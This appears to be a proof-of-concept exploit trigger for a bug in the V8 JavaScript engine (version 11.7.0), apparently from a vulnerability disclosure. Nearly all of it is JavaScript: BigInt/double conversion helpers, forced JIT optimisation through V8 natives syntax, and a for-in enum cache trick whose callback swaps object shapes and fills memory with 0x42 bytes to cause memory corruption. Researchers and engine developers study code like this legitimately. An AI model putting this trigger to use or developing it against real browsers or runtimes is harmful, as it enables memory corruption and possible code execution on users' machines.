w/ V8 11.7.0

class Utils {  
static BigIntAsDouble(big_int) {  
Utils.#big_int_array[0] = big_int;  
return Utils.#double_array[0];  
}  
  
static DoubleAsBigInt(big_int) {  
Utils.#double_array[0] = big_int;  
return Utils.#big_int_array[0];  
}  
  
static CreateObject(prop_count) {  
let object = {};  
for (let i = 0; i < prop_count; ++i)  
object[`p${i}`] = 1;  
return object;  
}  
  
static InitEnumCache(object) {  
for (let key in object) { }  
}  
  
static AllocateInOldSpace(...bytes) {  
let string = String.fromCharCode.apply(null, bytes);  
Utils.#empty_object[string];  
  
}  
  
static #big_int_array = new BigUint64Array(1);  
static #double_array = new Float64Array(Utils.#big_int_array.buffer);  
static #empty_object = {};  
};  
  
Utils.AllocateInOldSpace(1);  
  
const object1 = Utils.CreateObject(1),  
object2 = Utils.CreateObject(9),  
object3 = Utils.CreateObject(10);  
  
Utils.InitEnumCache(object2);  
  
function trigger(callback) {  
for (let key in object2) {  
if (key == "p7") {  
callback();  
return object2[key];  
}  
}  
}  
  
%PrepareFunctionForOptimization(trigger);  
trigger(_ => _);  
trigger(_ => _);  
%OptimizeFunctionOnNextCall(trigger);  
  
trigger(function() {  
object3.p9 = 1.1;  
Utils.InitEnumCache(object1);  
Utils.AllocateInOldSpace(0x42, 0x42, 0x42, 0x42);  
});  

Details here